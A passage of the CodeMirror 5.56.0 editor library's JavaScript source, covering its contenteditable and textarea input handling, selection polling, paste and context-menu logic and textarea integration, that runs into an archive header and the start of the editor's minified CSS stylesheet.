    this.lastFocusNode = sel.focusNode; this.lastFocusOffset =
sel.focusOffset;
  };

  ContentEditableInput.prototype.selectionInEditor = function () {
    var sel = this.getSelection();
    if (!sel.rangeCount) { return false }
    var node = sel.getRangeAt(0).commonAncestorContainer;
    return contains(this.div, node)
  };

  ContentEditableInput.prototype.focus = function () {
    if (this.cm.options.readOnly != "nocursor") {
      if (!this.selectionInEditor() || document.activeElement != this.div)
        { this.showSelection(this.prepareSelection(), true); }
      this.div.focus();
    }
  };
  ContentEditableInput.prototype.blur = function () { this.div.blur(); };
  ContentEditableInput.prototype.getField = function () { return this.div
};

  ContentEditableInput.prototype.supportsTouch = function () { return true
};

  ContentEditableInput.prototype.receivedFocus = function () {
    var input = this;
    if (this.selectionInEditor())
      { this.pollSelection(); }
    else
      { runInOp(this.cm, function () { return
input.cm.curOp.selectionChanged = true; }); }

    function poll() {
      if (input.cm.state.focused) {
        input.pollSelection();
        input.polling.set(input.cm.options.pollInterval, poll);
      }
    }
    this.polling.set(this.cm.options.pollInterval, poll);
  };

  ContentEditableInput.prototype.selectionChanged = function () {
    var sel = this.getSelection();
    return sel.anchorNode != this.lastAnchorNode || sel.anchorOffset !=
this.lastAnchorOffset ||
      sel.focusNode != this.lastFocusNode || sel.focusOffset !=
this.lastFocusOffset
  };

  ContentEditableInput.prototype.pollSelection = function () {
    if (this.readDOMTimeout != null || this.gracePeriod ||
!this.selectionChanged()) { return }
    var sel = this.getSelection(), cm = this.cm;
    // On Android Chrome (version 56, at least), backspacing into an
    // uneditable block element will put the cursor in that element,
    // and then, because it's not editable, hide the virtual keyboard.
    // Because Android doesn't allow us to actually detect backspace
    // presses in a sane way, this code checks for when that happens
    // and simulates a backspace press in this case.
    if (android && chrome &&
this.cm.display.gutterSpecs.length && isInGutter(sel.anchorNode)) {
      this.cm.triggerOnKeyDown({type: "keydown", keyCode: 8,
preventDefault: Math.abs});
      this.blur();
      this.focus();
      return
    }
    if (this.composing) { return }
    this.rememberSelection();
    var anchor = domToPos(cm, sel.anchorNode, sel.anchorOffset);
    var head = domToPos(cm, sel.focusNode, sel.focusOffset);
    if (anchor && head) { runInOp(cm, function () {
      setSelection(cm.doc, simpleSelection(anchor, head), sel_dontScroll);
      if (anchor.bad || head.bad) { cm.curOp.selectionChanged = true; }
    }); }
  };

  ContentEditableInput.prototype.pollContent = function () {
    if (this.readDOMTimeout != null) {
      clearTimeout(this.readDOMTimeout);
      this.readDOMTimeout = null;
    }

    var cm = this.cm, display = cm.display, sel = cm.doc.sel.primary();
    var from = sel.from(), to = sel.to();
    if (from.ch == 0 && from.line > cm.firstLine())
      { from = Pos(from.line - 1, getLine(cm.doc, from.line - 1).length); }
    if (to.ch == getLine(cm.doc, to.line).text.length && to.line
< cm.lastLine())
      { to = Pos(to.line + 1, 0); }
    if (from.line < display.viewFrom || to.line > display.viewTo - 1)
{ return false }

    var fromIndex, fromLine, fromNode;
    if (from.line == display.viewFrom || (fromIndex = findViewIndex(cm,
from.line)) == 0) {
      fromLine = lineNo(display.view[0].line);
      fromNode = display.view[0].node;
    } else {
      fromLine = lineNo(display.view[fromIndex].line);
      fromNode = display.view[fromIndex - 1].node.nextSibling;
    }
    var toIndex = findViewIndex(cm, to.line);
    var toLine, toNode;
    if (toIndex == display.view.length - 1) {
      toLine = display.viewTo - 1;
      toNode = display.lineDiv.lastChild;
    } else {
      toLine = lineNo(display.view[toIndex + 1].line) - 1;
      toNode = display.view[toIndex + 1].node.previousSibling;
    }

    if (!fromNode) { return false }
    var newText = cm.doc.splitLines(domTextBetween(cm, fromNode, toNode,
fromLine, toLine));
    var oldText = getBetween(cm.doc, Pos(fromLine, 0), Pos(toLine,
getLine(cm.doc, toLine).text.length));
    while (newText.length > 1 && oldText.length > 1) {
      if (lst(newText) == lst(oldText)) { newText.pop(); oldText.pop();
toLine--; }
      else if (newText[0] == oldText[0]) { newText.shift();
oldText.shift(); fromLine++; }
      else { break }
    }

    var cutFront = 0, cutEnd = 0;
    var newTop = newText[0], oldTop = oldText[0], maxCutFront =
Math.min(newTop.length, oldTop.length);
    while (cutFront < maxCutFront && newTop.charCodeAt(cutFront)
== oldTop.charCodeAt(cutFront))
      { ++cutFront; }
    var newBot = lst(newText), oldBot = lst(oldText);
    var maxCutEnd = Math.min(newBot.length - (newText.length == 1 ?
cutFront : 0),
                             oldBot.length - (oldText.length == 1 ?
cutFront : 0));
    while (cutEnd < maxCutEnd &&
           newBot.charCodeAt(newBot.length - cutEnd - 1) ==
oldBot.charCodeAt(oldBot.length - cutEnd - 1))
      { ++cutEnd; }
    // Try to move start of change to start of selection if ambiguous
    if (newText.length == 1 && oldText.length == 1 &&
fromLine == from.line) {
      while (cutFront && cutFront > from.ch &&
             newBot.charCodeAt(newBot.length - cutEnd - 1) ==
oldBot.charCodeAt(oldBot.length - cutEnd - 1)) {
        cutFront--;
        cutEnd++;
      }
    }

    newText[newText.length - 1] = newBot.slice(0, newBot.length -
cutEnd).replace(/^\u200b+/, "");
    newText[0] = newText[0].slice(cutFront).replace(/\u200b+$/,
"");

    var chFrom = Pos(fromLine, cutFront);
    var chTo = Pos(toLine, oldText.length ? lst(oldText).length - cutEnd :
0);
    if (newText.length > 1 || newText[0] || cmp(chFrom, chTo)) {
      replaceRange(cm.doc, newText, chFrom, chTo, "+input");
      return true
    }
  };

  ContentEditableInput.prototype.ensurePolled = function () {
    this.forceCompositionEnd();
  };
  ContentEditableInput.prototype.reset = function () {
    this.forceCompositionEnd();
  };
  ContentEditableInput.prototype.forceCompositionEnd = function () {
    if (!this.composing) { return }
    clearTimeout(this.readDOMTimeout);
    this.composing = null;
    this.updateFromDOM();
    this.div.blur();
    this.div.focus();
  };
  ContentEditableInput.prototype.readFromDOMSoon = function () {
      var this$1 = this;

    if (this.readDOMTimeout != null) { return }
    this.readDOMTimeout = setTimeout(function () {
      this$1.readDOMTimeout = null;
      if (this$1.composing) {
        if (this$1.composing.done) { this$1.composing = null; }
        else { return }
      }
      this$1.updateFromDOM();
    }, 80);
  };

  ContentEditableInput.prototype.updateFromDOM = function () {
      var this$1 = this;

    if (this.cm.isReadOnly() || !this.pollContent())
      { runInOp(this.cm, function () { return regChange(this$1.cm); }); }
  };

  ContentEditableInput.prototype.setUneditable = function (node) {
    node.contentEditable = "false";
  };

  ContentEditableInput.prototype.onKeyPress = function (e) {
    if (e.charCode == 0 || this.composing) { return }
    e.preventDefault();
    if (!this.cm.isReadOnly())
      { operation(this.cm, applyTextInput)(this.cm,
String.fromCharCode(e.charCode == null ? e.keyCode : e.charCode), 0); }
  };

  ContentEditableInput.prototype.readOnlyChanged = function (val) {
    this.div.contentEditable = String(val != "nocursor");
  };

  ContentEditableInput.prototype.onContextMenu = function () {};
  ContentEditableInput.prototype.resetPosition = function () {};

  ContentEditableInput.prototype.needsContentAttribute = true;

  function posToDOM(cm, pos) {
    var view = findViewForLine(cm, pos.line);
    if (!view || view.hidden) { return null }
    var line = getLine(cm.doc, pos.line);
    var info = mapFromLineView(view, line, pos.line);

    var order = getOrder(line, cm.doc.direction), side = "left";
    if (order) {
      var partPos = getBidiPartAt(order, pos.ch);
      side = partPos % 2 ? "right" : "left";
    }
    var result = nodeAndOffsetInLineMap(info.map, pos.ch, side);
    result.offset = result.collapse == "right" ? result.end :
result.start;
    return result
  }

  function isInGutter(node) {
    for (var scan = node; scan; scan = scan.parentNode)
      { if (/CodeMirror-gutter-wrapper/.test(scan.className)) { return true
} }
    return false
  }

  function badPos(pos, bad) { if (bad) { pos.bad = true; } return pos }

  function domTextBetween(cm, from, to, fromLine, toLine) {
    var text = "", closing = false, lineSep =
cm.doc.lineSeparator(), extraLinebreak = false;
    function recognizeMarker(id) { return function (marker) { return
marker.id == id; } }
    function close() {
      if (closing) {
        text += lineSep;
        if (extraLinebreak) { text += lineSep; }
        closing = extraLinebreak = false;
      }
    }
    function addText(str) {
      if (str) {
        close();
        text += str;
      }
    }
    function walk(node) {
      if (node.nodeType == 1) {
        var cmText = node.getAttribute("cm-text");
        if (cmText) {
          addText(cmText);
          return
        }
        var markerID = node.getAttribute("cm-marker"), range;
        if (markerID) {
          var found = cm.findMarks(Pos(fromLine, 0), Pos(toLine + 1, 0),
recognizeMarker(+markerID));
          if (found.length && (range = found[0].find(0)))
            { addText(getBetween(cm.doc, range.from,
range.to).join(lineSep)); }
          return
        }
        if (node.getAttribute("contenteditable") ==
"false") { return }
        var isBlock = /^(pre|div|p|li|table|br)$/i.test(node.nodeName);
        if (!/^br$/i.test(node.nodeName) && node.textContent.length
== 0) { return }

        if (isBlock) { close(); }
        for (var i = 0; i < node.childNodes.length; i++)
          { walk(node.childNodes[i]); }

        if (/^(pre|p)$/i.test(node.nodeName)) { extraLinebreak = true; }
        if (isBlock) { closing = true; }
      } else if (node.nodeType == 3) {
        addText(node.nodeValue.replace(/\u200b/g,
"").replace(/\u00a0/g, " "));
      }
    }
    for (;;) {
      walk(from);
      if (from == to) { break }
      from = from.nextSibling;
      extraLinebreak = false;
    }
    return text
  }

  function domToPos(cm, node, offset) {
    var lineNode;
    if (node == cm.display.lineDiv) {
      lineNode = cm.display.lineDiv.childNodes[offset];
      if (!lineNode) { return badPos(cm.clipPos(Pos(cm.display.viewTo -
1)), true) }
      node = null; offset = 0;
    } else {
      for (lineNode = node;; lineNode = lineNode.parentNode) {
        if (!lineNode || lineNode == cm.display.lineDiv) { return null }
        if (lineNode.parentNode && lineNode.parentNode ==
cm.display.lineDiv) { break }
      }
    }
    for (var i = 0; i < cm.display.view.length; i++) {
      var lineView = cm.display.view[i];
      if (lineView.node == lineNode)
        { return locateNodeInLineView(lineView, node, offset) }
    }
  }

  function locateNodeInLineView(lineView, node, offset) {
    var wrapper = lineView.text.firstChild, bad = false;
    if (!node || !contains(wrapper, node)) { return
badPos(Pos(lineNo(lineView.line), 0), true) }
    if (node == wrapper) {
      bad = true;
      node = wrapper.childNodes[offset];
      offset = 0;
      if (!node) {
        var line = lineView.rest ? lst(lineView.rest) : lineView.line;
        return badPos(Pos(lineNo(line), line.text.length), bad)
      }
    }

    var textNode = node.nodeType == 3 ? node : null, topNode = node;
    if (!textNode && node.childNodes.length == 1 &&
node.firstChild.nodeType == 3) {
      textNode = node.firstChild;
      if (offset) { offset = textNode.nodeValue.length; }
    }
    while (topNode.parentNode != wrapper) { topNode = topNode.parentNode; }
    var measure = lineView.measure, maps = measure.maps;

    function find(textNode, topNode, offset) {
      for (var i = -1; i < (maps ? maps.length : 0); i++) {
        var map = i < 0 ? measure.map : maps[i];
        for (var j = 0; j < map.length; j += 3) {
          var curNode = map[j + 2];
          if (curNode == textNode || curNode == topNode) {
            var line = lineNo(i < 0 ? lineView.line : lineView.rest[i]);
            var ch = map[j] + offset;
            if (offset < 0 || curNode != textNode) { ch = map[j +
(offset ? 1 : 0)]; }
            return Pos(line, ch)
          }
        }
      }
    }
    var found = find(textNode, topNode, offset);
    if (found) { return badPos(found, bad) }

    // FIXME this is all really shaky. might handle the few cases it needs
to handle, but likely to cause problems
    for (var after = topNode.nextSibling, dist = textNode ?
textNode.nodeValue.length - offset : 0; after; after = after.nextSibling) {
      found = find(after, after.firstChild, 0);
      if (found)
        { return badPos(Pos(found.line, found.ch - dist), bad) }
      else
        { dist += after.textContent.length; }
    }
    for (var before = topNode.previousSibling, dist$1 = offset; before;
before = before.previousSibling) {
      found = find(before, before.firstChild, -1);
      if (found)
        { return badPos(Pos(found.line, found.ch + dist$1), bad) }
      else
        { dist$1 += before.textContent.length; }
    }
  }

  // TEXTAREA INPUT STYLE

  var TextareaInput = function(cm) {
    this.cm = cm;
    // See input.poll and input.reset
    this.prevInput = "";

    // Flag that indicates whether we expect input to appear real soon
    // now (after some event like 'keypress' or
'input') and are
    // polling intensively.
    this.pollingFast = false;
    // Self-resetting timeout for the poller
    this.polling = new Delayed();
    // Used to work around IE issue with selection being forgotten when
focus moves away from textarea
    this.hasSelection = false;
    this.composing = null;
  };

  TextareaInput.prototype.init = function (display) {
      var this$1 = this;

    var input = this, cm = this.cm;
    this.createField(display);
    var te = this.textarea;

    display.wrapper.insertBefore(this.wrapper, display.wrapper.firstChild);

    // Needed to hide big blue blinking cursor on Mobile Safari
(doesn't seem to work in iOS 8 anymore)
    if (ios) { te.style.width = "0px"; }

    on(te, "input", function () {
      if (ie && ie_version >= 9 && this$1.hasSelection)
{ this$1.hasSelection = null; }
      input.poll();
    });

    on(te, "paste", function (e) {
      if (signalDOMEvent(cm, e) || handlePaste(e, cm)) { return }

      cm.state.pasteIncoming = +new Date;
      input.fastPoll();
    });

    function prepareCopyCut(e) {
      if (signalDOMEvent(cm, e)) { return }
      if (cm.somethingSelected()) {
        setLastCopied({lineWise: false, text: cm.getSelections()});
      } else if (!cm.options.lineWiseCopyCut) {
        return
      } else {
        var ranges = copyableRanges(cm);
        setLastCopied({lineWise: true, text: ranges.text});
        if (e.type == "cut") {
          cm.setSelections(ranges.ranges, null, sel_dontScroll);
        } else {
          input.prevInput = "";
          te.value = ranges.text.join("\n");
          selectInput(te);
        }
      }
      if (e.type == "cut") { cm.state.cutIncoming = +new Date; }
    }
    on(te, "cut", prepareCopyCut);
    on(te, "copy", prepareCopyCut);

    on(display.scroller, "paste", function (e) {
      if (eventInWidget(display, e) || signalDOMEvent(cm, e)) { return }
      if (!te.dispatchEvent) {
        cm.state.pasteIncoming = +new Date;
        input.focus();
        return
      }

      // Pass the `paste` event to the textarea so it's handled by its
event listener.
      var event = new Event("paste");
      event.clipboardData = e.clipboardData;
      te.dispatchEvent(event);
    });

    // Prevent normal selection in the editor (we handle our own)
    on(display.lineSpace, "selectstart", function (e) {
      if (!eventInWidget(display, e)) { e_preventDefault(e); }
    });

    on(te, "compositionstart", function () {
      var start = cm.getCursor("from");
      if (input.composing) { input.composing.range.clear(); }
      input.composing = {
        start: start,
        range: cm.markText(start, cm.getCursor("to"), {className:
"CodeMirror-composing"})
      };
    });
    on(te, "compositionend", function () {
      if (input.composing) {
        input.poll();
        input.composing.range.clear();
        input.composing = null;
      }
    });
  };

  TextareaInput.prototype.createField = function (_display) {
    // Wraps and hides input textarea
    this.wrapper = hiddenTextarea();
    // The semihidden textarea that is focused when the editor is
    // focused, and receives input.
    this.textarea = this.wrapper.firstChild;
  };

  TextareaInput.prototype.screenReaderLabelChanged = function (label) {
    // Label for screenreaders, accessibility
    if(label) {
      this.textarea.setAttribute('aria-label', label);
    } else {
      this.textarea.removeAttribute('aria-label');
    }
  };

  TextareaInput.prototype.prepareSelection = function () {
    // Redraw the selection and/or cursor
    var cm = this.cm, display = cm.display, doc = cm.doc;
    var result = prepareSelection(cm);

    // Move the hidden textarea near the cursor to prevent scrolling
artifacts
    if (cm.options.moveInputWithCursor) {
      var headPos = cursorCoords(cm, doc.sel.primary().head,
"div");
      var wrapOff = display.wrapper.getBoundingClientRect(), lineOff =
display.lineDiv.getBoundingClientRect();
      result.teTop = Math.max(0, Math.min(display.wrapper.clientHeight -
10,
                                          headPos.top + lineOff.top -
wrapOff.top));
      result.teLeft = Math.max(0, Math.min(display.wrapper.clientWidth -
10,
                                           headPos.left + lineOff.left -
wrapOff.left));
    }

    return result
  };

  TextareaInput.prototype.showSelection = function (drawn) {
    var cm = this.cm, display = cm.display;
    removeChildrenAndAdd(display.cursorDiv, drawn.cursors);
    removeChildrenAndAdd(display.selectionDiv, drawn.selection);
    if (drawn.teTop != null) {
      this.wrapper.style.top = drawn.teTop + "px";
      this.wrapper.style.left = drawn.teLeft + "px";
    }
  };

  // Reset the input to correspond to the selection (or to be empty,
  // when not typing and nothing is selected)
  TextareaInput.prototype.reset = function (typing) {
    if (this.contextMenuPending || this.composing) { return }
    var cm = this.cm;
    if (cm.somethingSelected()) {
      this.prevInput = "";
      var content = cm.getSelection();
      this.textarea.value = content;
      if (cm.state.focused) { selectInput(this.textarea); }
      if (ie && ie_version >= 9) { this.hasSelection = content;
}
    } else if (!typing) {
      this.prevInput = this.textarea.value = "";
      if (ie && ie_version >= 9) { this.hasSelection = null; }
    }
  };

  TextareaInput.prototype.getField = function () { return this.textarea };

  TextareaInput.prototype.supportsTouch = function () { return false };

  TextareaInput.prototype.focus = function () {
    if (this.cm.options.readOnly != "nocursor" &&
(!mobile || activeElt() != this.textarea)) {
      try { this.textarea.focus(); }
      catch (e) {} // IE8 will throw if the textarea is display: none or
not in DOM
    }
  };

  TextareaInput.prototype.blur = function () { this.textarea.blur(); };

  TextareaInput.prototype.resetPosition = function () {
    this.wrapper.style.top = this.wrapper.style.left = 0;
  };

  TextareaInput.prototype.receivedFocus = function () { this.slowPoll(); };

  // Poll for input changes, using the normal rate of polling. This
  // runs as long as the editor is focused.
  TextareaInput.prototype.slowPoll = function () {
      var this$1 = this;

    if (this.pollingFast) { return }
    this.polling.set(this.cm.options.pollInterval, function () {
      this$1.poll();
      if (this$1.cm.state.focused) { this$1.slowPoll(); }
    });
  };

  // When an event has just come in that is likely to add or change
  // something in the input textarea, we poll faster, to ensure that
  // the change appears on the screen quickly.
  TextareaInput.prototype.fastPoll = function () {
    var missed = false, input = this;
    input.pollingFast = true;
    function p() {
      var changed = input.poll();
      if (!changed && !missed) {missed = true;
input.polling.set(60, p);}
      else {input.pollingFast = false; input.slowPoll();}
    }
    input.polling.set(20, p);
  };

  // Read input from the textarea, and update the document to match.
  // When something is selected, it is present in the textarea, and
  // selected (unless it is huge, in which case a placeholder is
  // used). When nothing is selected, the cursor sits after previously
  // seen text (can be empty), which is stored in prevInput (we must
  // not reset the textarea when typing, because that breaks IME).
  TextareaInput.prototype.poll = function () {
      var this$1 = this;

    var cm = this.cm, input = this.textarea, prevInput = this.prevInput;
    // Since this is called a *lot*, try to bail out as cheaply as
    // possible when it is clear that nothing happened. hasSelection
    // will be the case when there is a lot of text in the textarea,
    // in which case reading its value would be expensive.
    if (this.contextMenuPending || !cm.state.focused ||
        (hasSelection(input) && !prevInput &&
!this.composing) ||
        cm.isReadOnly() || cm.options.disableInput || cm.state.keySeq)
      { return false }

    var text = input.value;
    // If nothing changed, bail.
    if (text == prevInput && !cm.somethingSelected()) { return
false }
    // Work around nonsensical selection resetting in IE9/10, and
    // inexplicable appearance of private area unicode characters on
    // some key combos in Mac (#2689).
    if (ie && ie_version >= 9 && this.hasSelection ===
text ||
        mac && /[\uf700-\uf7ff]/.test(text)) {
      cm.display.input.reset();
      return false
    }

    if (cm.doc.sel == cm.display.selForContextMenu) {
      var first = text.charCodeAt(0);
      if (first == 0x200b && !prevInput) { prevInput =
"\u200b"; }
      if (first == 0x21da) { this.reset(); return
this.cm.execCommand("undo") }
    }
    // Find the part of the input that is actually new
    var same = 0, l = Math.min(prevInput.length, text.length);
    while (same < l && prevInput.charCodeAt(same) ==
text.charCodeAt(same)) { ++same; }

    runInOp(cm, function () {
      applyTextInput(cm, text.slice(same), prevInput.length - same,
                     null, this$1.composing ? "*compose" : null);

      // Don't leave long text in the textarea, since it makes further
polling slow
      if (text.length > 1000 || text.indexOf("\n") > -1) {
input.value = this$1.prevInput = ""; }
      else { this$1.prevInput = text; }

      if (this$1.composing) {
        this$1.composing.range.clear();
        this$1.composing.range = cm.markText(this$1.composing.start,
cm.getCursor("to"),
                                           {className:
"CodeMirror-composing"});
      }
    });
    return true
  };

  TextareaInput.prototype.ensurePolled = function () {
    if (this.pollingFast && this.poll()) { this.pollingFast =
false; }
  };

  TextareaInput.prototype.onKeyPress = function () {
    if (ie && ie_version >= 9) { this.hasSelection = null; }
    this.fastPoll();
  };

  TextareaInput.prototype.onContextMenu = function (e) {
    var input = this, cm = input.cm, display = cm.display, te =
input.textarea;
    if (input.contextMenuPending) { input.contextMenuPending(); }
    var pos = posFromMouse(cm, e), scrollPos = display.scroller.scrollTop;
    if (!pos || presto) { return } // Opera is difficult.

    // Reset the current text selection only if the click is done outside
of the selection
    // and 'resetSelectionOnContextMenu' option is true.
    var reset = cm.options.resetSelectionOnContextMenu;
    if (reset && cm.doc.sel.contains(pos) == -1)
      { operation(cm, setSelection)(cm.doc, simpleSelection(pos),
sel_dontScroll); }

    var oldCSS = te.style.cssText, oldWrapperCSS =
input.wrapper.style.cssText;
    var wrapperBox = input.wrapper.offsetParent.getBoundingClientRect();
    input.wrapper.style.cssText = "position: static";
    te.style.cssText = "position: absolute; width: 30px; height:
30px;\n      top: " + (e.clientY - wrapperBox.top - 5) + "px;
left: " + (e.clientX - wrapperBox.left - 5) + "px;\n     
z-index: 1000; background: " + (ie ? "rgba(255, 255, 255,
.05)" : "transparent") + ";\n      outline: none;
border-width: 0; outline: none; overflow: hidden; opacity: .05; filter:
alpha(opacity=5);";
    var oldScrollY;
    if (webkit) { oldScrollY = window.scrollY; } // Work around Chrome
issue (#2712)
    display.input.focus();
    if (webkit) { window.scrollTo(null, oldScrollY); }
    display.input.reset();
    // Adds "Select all" to context menu in FF
    if (!cm.somethingSelected()) { te.value = input.prevInput = "
"; }
    input.contextMenuPending = rehide;
    display.selForContextMenu = cm.doc.sel;
    clearTimeout(display.detectingSelectAll);

    // Select-all will be greyed out if there's nothing to select, so
    // this adds a zero-width space so that we can later check whether
    // it got selected.
    function prepareSelectAllHack() {
      if (te.selectionStart != null) {
        var selected = cm.somethingSelected();
        var extval = "\u200b" + (selected ? te.value :
"");
        te.value = "\u21da"; // Used to catch context-menu undo
        te.value = extval;
        input.prevInput = selected ? "" : "\u200b";
        te.selectionStart = 1; te.selectionEnd = extval.length;
        // Re-set this, in case some other handler touched the
        // selection in the meantime.
        display.selForContextMenu = cm.doc.sel;
      }
    }
    function rehide() {
      if (input.contextMenuPending != rehide) { return }
      input.contextMenuPending = false;
      input.wrapper.style.cssText = oldWrapperCSS;
      te.style.cssText = oldCSS;
      if (ie && ie_version < 9) {
display.scrollbars.setScrollTop(display.scroller.scrollTop = scrollPos); }

      // Try to detect the user choosing select-all
      if (te.selectionStart != null) {
        if (!ie || (ie && ie_version < 9)) {
prepareSelectAllHack(); }
        var i = 0, poll = function () {
          if (display.selForContextMenu == cm.doc.sel &&
te.selectionStart == 0 &&
              te.selectionEnd > 0 && input.prevInput ==
"\u200b") {
            operation(cm, selectAll)(cm);
          } else if (i++ < 10) {
            display.detectingSelectAll = setTimeout(poll, 500);
          } else {
            display.selForContextMenu = null;
            display.input.reset();
          }
        };
        display.detectingSelectAll = setTimeout(poll, 200);
      }
    }

    if (ie && ie_version >= 9) { prepareSelectAllHack(); }
    if (captureRightClick) {
      e_stop(e);
      var mouseup = function () {
        off(window, "mouseup", mouseup);
        setTimeout(rehide, 20);
      };
      on(window, "mouseup", mouseup);
    } else {
      setTimeout(rehide, 50);
    }
  };

  TextareaInput.prototype.readOnlyChanged = function (val) {
    if (!val) { this.reset(); }
    this.textarea.disabled = val == "nocursor";
  };

  TextareaInput.prototype.setUneditable = function () {};

  TextareaInput.prototype.needsContentAttribute = false;

  function fromTextArea(textarea, options) {
    options = options ? copyObj(options) : {};
    options.value = textarea.value;
    if (!options.tabindex && textarea.tabIndex)
      { options.tabindex = textarea.tabIndex; }
    if (!options.placeholder && textarea.placeholder)
      { options.placeholder = textarea.placeholder; }
    // Set autofocus to true if this textarea is focused, or if it has
    // autofocus and no other element is focused.
    if (options.autofocus == null) {
      var hasFocus = activeElt();
      options.autofocus = hasFocus == textarea ||
        textarea.getAttribute("autofocus") != null &&
hasFocus == document.body;
    }

    function save() {textarea.value = cm.getValue();}

    var realSubmit;
    if (textarea.form) {
      on(textarea.form, "submit", save);
      // Deplorable hack to make the submit method do the right thing.
      if (!options.leaveSubmitMethodAlone) {
        var form = textarea.form;
        realSubmit = form.submit;
        try {
          var wrappedSubmit = form.submit = function () {
            save();
            form.submit = realSubmit;
            form.submit();
            form.submit = wrappedSubmit;
          };
        } catch(e) {}
      }
    }

    options.finishInit = function (cm) {
      cm.save = save;
      cm.getTextArea = function () { return textarea; };
      cm.toTextArea = function () {
        cm.toTextArea = isNaN; // Prevent this from being ran twice
        save();
        textarea.parentNode.removeChild(cm.getWrapperElement());
        textarea.style.display = "";
        if (textarea.form) {
          off(textarea.form, "submit", save);
          if (!options.leaveSubmitMethodAlone && typeof
textarea.form.submit == "function")
            { textarea.form.submit = realSubmit; }
        }
      };
    };

    textarea.style.display = "none";
    var cm = CodeMirror(function (node) { return
textarea.parentNode.insertBefore(node, textarea.nextSibling); },
      options);
    return cm
  }

  function addLegacyProps(CodeMirror) {
    CodeMirror.off = off;
    CodeMirror.on = on;
    CodeMirror.wheelEventPixels = wheelEventPixels;
    CodeMirror.Doc = Doc;
    CodeMirror.splitLines = splitLinesAuto;
    CodeMirror.countColumn = countColumn;
    CodeMirror.findColumn = findColumn;
    CodeMirror.isWordChar = isWordCharBasic;
    CodeMirror.Pass = Pass;
    CodeMirror.signal = signal;
    CodeMirror.Line = Line;
    CodeMirror.changeEnd = changeEnd;
    CodeMirror.scrollbarModel = scrollbarModel;
    CodeMirror.Pos = Pos;
    CodeMirror.cmpPos = cmp;
    CodeMirror.modes = modes;
    CodeMirror.mimeModes = mimeModes;
    CodeMirror.resolveMode = resolveMode;
    CodeMirror.getMode = getMode;
    CodeMirror.modeExtensions = modeExtensions;
    CodeMirror.extendMode = extendMode;
    CodeMirror.copyState = copyState;
    CodeMirror.startState = startState;
    CodeMirror.innerMode = innerMode;
    CodeMirror.commands = commands;
    CodeMirror.keyMap = keyMap;
    CodeMirror.keyName = keyName;
    CodeMirror.isModifierKey = isModifierKey;
    CodeMirror.lookupKey = lookupKey;
    CodeMirror.normalizeKeyMap = normalizeKeyMap;
    CodeMirror.StringStream = StringStream;
    CodeMirror.SharedTextMarker = SharedTextMarker;
    CodeMirror.TextMarker = TextMarker;
    CodeMirror.LineWidget = LineWidget;
    CodeMirror.e_preventDefault = e_preventDefault;
    CodeMirror.e_stopPropagation = e_stopPropagation;
    CodeMirror.e_stop = e_stop;
    CodeMirror.addClass = addClass;
    CodeMirror.contains = contains;
    CodeMirror.rmClass = rmClass;
    CodeMirror.keyNames = keyNames;
  }

  // EDITOR CONSTRUCTOR

  defineOptions(CodeMirror);

  addEditorMethods(CodeMirror);

  // Set up methods on CodeMirror's prototype to redirect to the
editor's document.
  var dontDelegate = "iter insert remove copy getEditor
constructor".split(" ");
  for (var prop in Doc.prototype) { if (Doc.prototype.hasOwnProperty(prop)
&& indexOf(dontDelegate, prop) < 0)
    { CodeMirror.prototype[prop] = (function(method) {
      return function() {return method.apply(this.doc, arguments)}
    })(Doc.prototype[prop]); } }

  eventMixin(Doc);
  CodeMirror.inputStyles = {"textarea": TextareaInput,
"contenteditable": ContentEditableInput};

  // Extra arguments are stored as the mode's dependencies, which is
  // used by (legacy) mechanisms like loadmode.js to automatically
  // load a mode. (Preferred mechanism is the require/define calls.)
  CodeMirror.defineMode = function(name/*, mode, …*/) {
    if (!CodeMirror.defaults.mode && name != "null") {
CodeMirror.defaults.mode = name; }
    defineMode.apply(this, arguments);
  };

  CodeMirror.defineMIME = defineMIME;

  // Minimal default mode.
  CodeMirror.defineMode("null", function () { return ({token:
function (stream) { return stream.skipToEnd(); }}); });
  CodeMirror.defineMIME("text/plain", "null");

  // EXTENSIONS

  CodeMirror.defineExtension = function (name, func) {
    CodeMirror.prototype[name] = func;
  };
  CodeMirror.defineDocExtension = function (name, func) {
    Doc.prototype[name] = func;
  };

  CodeMirror.fromTextArea = fromTextArea;

  addLegacyProps(CodeMirror);

  CodeMirror.version = "5.56.0";

  return CodeMirror;

})));
PKA��[I.��hh!codemirror/lib/codemirror.min.cssnu�[���.CodeMirror{font-family:monospace;height:300px;color:#000;direction:ltr}.CodeMirror-lines{padding:4px
0}.CodeMirror pre.CodeMirror-line,.CodeMirror
pre.CodeMirror-line-like{padding:0
4px}.CodeMirror-gutter-filler,.CodeMirror-scrollbar-filler{background-color:#fff}.CodeMirror-gutters{border-right:1px
solid
#ddd;background-color:#f7f7f7;white-space:nowrap}.CodeMirror-linenumber{padding:0
3px 0
5px;min-width:20px;text-align:right;color:#999;white-space:nowrap}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{border-left:1px
solid #000;border-right:none;width:0}.CodeMirror
div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor
.CodeMirror-cursor{width:auto;border:0!important;background:#7e7}.cm-fat-cursor
div.CodeMirror-cursors{z-index:1}.cm-fat-cursor-mark{background-color:rgba(20,255,20,.5);-webkit-animation:blink
1.06s steps(1) infinite;-moz-animation:blink 1.06s steps(1)
infinite;animation:blink 1.06s steps(1)
infinite}.cm-animate-fat-cursor{width:auto;border:0;-webkit-animation:blink
1.06s steps(1) infinite;-moz-animation:blink 1.06s steps(1)
infinite;animation:blink 1.06s steps(1)
infinite;background-color:#7e7}@-moz-keyframes
blink{50%{background-color:transparent}}@-webkit-keyframes
blink{50%{background-color:transparent}}@keyframes
blink{50%{background-color:transparent}}.cm-tab{display:inline-block;text-decoration:inherit}.CodeMirror-rulers{position:absolute;left:0;right:0;top:-50px;bottom:0;overflow:hidden}.CodeMirror-ruler{border-left:1px
solid #ccc;top:0;bottom:0;position:absolute}.cm-s-default
.cm-header{color:#00f}.cm-s-default
.cm-quote{color:#090}.cm-negative{color:#d44}.cm-positive{color:#292}.cm-header,.cm-strong{font-weight:700}.cm-em{font-style:italic}.cm-link{text-decoration:underline}.cm-strikethrough{text-decoration:line-through}.cm-s-default
.cm-keyword{color:#708}.cm-s-default .cm-atom{color:#219}.cm-s-default
.cm-number{color:#164}.cm-s-default .cm-def{color:#00f}.cm-s-default
.cm-variable-2{color:#05a}.cm-s-default .cm-type,.cm-s-default
.cm-variable-3{color:#085}.cm-s-default
.cm-comment{color:#a50}.cm-s-default .cm-string{color:#a11}.cm-s-default
